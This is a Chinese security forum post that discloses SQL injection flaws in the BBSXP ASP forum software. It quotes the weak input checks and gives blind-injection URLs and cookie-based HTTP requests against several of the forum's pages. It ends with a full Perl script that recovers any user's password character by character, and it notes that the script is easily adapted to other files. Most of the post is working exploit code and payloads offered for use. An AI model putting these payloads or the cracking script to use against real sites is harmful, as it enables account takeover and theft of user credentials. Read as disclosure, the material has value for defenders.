|
作者: qsancom [qsancom] 论坛用户 | 登录 |
BBSXP多个文件存在Sql Injection漏洞 涉及版本: BBSXP所有版本 描述: BBSXP是一款由WWW.BBSXP.COM开发和维护的源代码开放的Asp论坛;由于作者采用的安全防护措施过于简单,导致整个论坛多个文件存在Sql Injection漏洞,非法用户可以很快地智能破解任意用户口令或进行其他恶意攻击。但令人费解的是在BBSXP的说明文档中却有这么句话:"BBSXP经过将近3年的测试,可说是不存在任何BUG,而其他论坛程序BUG可说多多,你能放心使用吗?" 具体: BBSXP在对用户输入和cookie的审查上竟然只用了类似如下的简单处理: --------------------------------------------------- if instr(username," ")>0 then:error("<li>非法操作"):end if if Request.Cookies("username")="" then error("<li>您还还未<a href=login.asp>登陆</a>社区") --------------------------------------------------- 仅仅限制空格就能把Sql Injection排除在外?搞笑,我们先看个例子 --------------------------------------------------- login.asp ... if instr(username," ")>0 then:error("<li>非法操作"):end if '只限制空格,Faint! sql="select * from user where username='"&username&"'" rs.Open sql,Conn if rs.eof then message=message&"<li>此用户名还未<a href=register.asp?username="&username&">注册</a>" '超级失败,竟然还使用如此低级设计 error(""&message&"") end if if userpass<>rs("userpass") then message=message&"<li>您输入的密码错误" '摆明了返回准确信息给攻击者判断 ... --------------------------------------------------- 显然这里不能来个 username=root' and len(userpass)=6 and '1,但没有空格我们照样玩: http://www.target.com/asp/bbsxp/bbsxp/login.asp?menu=add&url=&username=root'and(len(userpass)=6)and'1&userpass=asd&Submit1=+%B5%C7%C2%BD+ 可判断”设立条件成功”返回的字符串:您输入的密码错误;即返回“您输入的密码错误”则说明root用户的密码长度是6位,接着使用left()、right()可以推算出密码了,但手工推测是很吃力的,我们可以根据提交一个请求后的返回值判断我们设立的条件成功与否,这样可以写个小的密码破解程序,本文结尾附了我写的一个测试程序。 再看一个构造cookie来达到Sql Injection的例子: --------------------------------------------------- usercp.asp: -------------包含文件setup.asp中的关键代码 sql="select * from user where username='"&Request.Cookies("username")&"'" if Request.Cookies("userpass")<>us("userpass") then Response.Cookies("username")="" Response.Cookies("userpass")="" '如果密码不对cookie清空 end if userface=""&us("userface")&"" '败笔,保存了一个值,可作返回值判断 -------------setup.asp中的关键代码结束 <b>用户头像</TH></b></TR> src="images/face/<%=userface%>.gif"></TD></TR> '用这个信息作为判断 --------------------------------------------------- 如果我们提交如下请求: $request= "GET /asp/bbsxp/bbsxp/usercp.asp HTTP/1.0\r\n". "Host: $host\r\n". "Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=i\n\n"; 返回的<%=userface%>不为空的话,则证明root密码为6位,其余一切和上面例子一样! 还想要例子吗?比如说: register.asp: http://www.target.com/asp/bbsxp/bbsxp/register.asp?menu=Check&username=root'and(len(userpass)=6)and'1 可判断条件成功返回字符串:已经有用户使用,请另外选择一个用户名 profile.asp: http://www.target.com/asp/bbsxp/bbsxp/profile.asp?username=root'and(len(userpass)=6)and'1 可判断条件成功返回字符串:用户类型 shop.asp: $request= "GET /asp/bbsxp/bbsxp/shop.asp HTTP/1.0\r\n". "Host: $host\r\n". "Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=iamod\n\n"; 可判断条件成功返回字符串:密码错误 recycle.asp: $request= "GET /asp/bbsxp/bbsxp/recycle.asp HTTP/1.0\r\n". "Host: $host\r\n". "Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=iamod\n\n"; 可判断条件成功返回字符串:本论坛共有 由于篇幅所限,就不一一列举了;此外还有RecoverPasswd.aspv、prison.asp、play.asp、friend.asp、faction.asp、bank.asp...大量文件存在相同问题,真是令人汗颜! 如下是一个通过register.asp文件来破解用户口令的小程序(很快的哦),当然,稍作修改便可用于其他存在相同缺陷的文件或场合: #!/usr/bin/perl #Codz By PsKey<PsKey@hotmail.com>2003/3/29 #This Script can crack BBSXP user's password $│=1; use Socket; use Getopt::Std; getopt('hpwu'); print "==========================================\n"; print "Codz By PsKey<PsKey\@hotmail.com>2003/3/29\n"; print "==========================================\n"; &usage unless ( defined($opt_h) && defined($opt_w) && defined($opt_u)); $host=$opt_h; $port=$opt_p││80; $way=$opt_w; $user=$opt_u; print "\nPlease wait...\n\n"; @dic=(0..100); for ($i=0;$i<@dic;$i++) { $username=$user."'and(len(userpass)='$dic[$i]')and'1"; $request = "GET $way?menu=Check&username=$username HTTP/1.0\r\n". "Host: $host\r\n". "Cookie: eremite=0;\n\n"; print "$dic[$i]."; @in = sendraw($request); @num=grep /已经有用户使用/, @in; $size=@num; if ($size > 0) { print "\n\nSuccessful,The length of the password is $dic[$i] .\n\n"; $lenpwd=$dic[$i]; last; } } for ($j=1;$j<=$lenpwd;$j++) { @dic11=(0..9); @dic12=(a..z); @special=qw(` ~ ! @ # $ %25 ^ %26 * \( \) _ %2b = - { } [ ] : " ; < > ? │ , . / \\); @special2=qw( ` ~ ! ・ # ¥ % …… ― * ( ) ―― + - = { } [ ] : ” “ ; ’ 《 》 ? │ , 。 / 、 〈 〉 '); @dic=(@dic11,@dic12,@special,@special2); for ($i=0;$i<@dic;$i++) { $key=$pws.$dic[$i]; $username=$user."'and(left(userpass,$j)='$key')and'1"; $request = "GET $way?menu=Check&username=$username HTTP/1.0\r\n". "host:$host\r\n". "Cookie: eremite=0;\n\n"; print "$dic[$i]."; @in = sendraw($request); @num=grep /已经有用户使用/, @in; @num1=grep /操作符丢失/, @in; $size=@num; $size1=@num1; if ($size > 0) { $th=$j.th; print "\nSuccessful,The $th word of the password is $dic[$i] \n"; $pws=$pws.$dic[$i]; last; } elsif ($size1 > 0) { $th=$j.th; print "\nSuccessful,The $th word of the password is $dic[$i] \n\n"; print " ☆☆☆☆Attention☆☆☆☆ \n"; print "Something wrong,i can't go on,so you should crack it yourself!Poor...\n"; exit 0; } } } $pws=~s/\%2b/\+/ig; $pws=~s/\%25/\%/ig; $pws=~s/\%26/\&/ig; print "\n\nSuccessful,the full password of $user is $pws.\n"; sub usage { print qq~ Usage: $0 -h <Host> [-p <port>] -w <way> -u <user> -h =hostname you want to crack -p =port,80 default -w =the path of the weak file -u =the user you want to crack Eg: $0 -h www.target.com -p 80 -w /bbsxp/register.asp -u root ~; exit; } #thanx rfp<rfp@wiretrip.net>'s sendraw sub sendraw { my ($request) = @_; my $target; $target = inet_aton($host) ││ die("inet_aton problems"); socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')││0) ││ die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $│ = 1; print $request; my @in = <S>; select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); } } |
地主 发表时间: 05/17 21:36 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号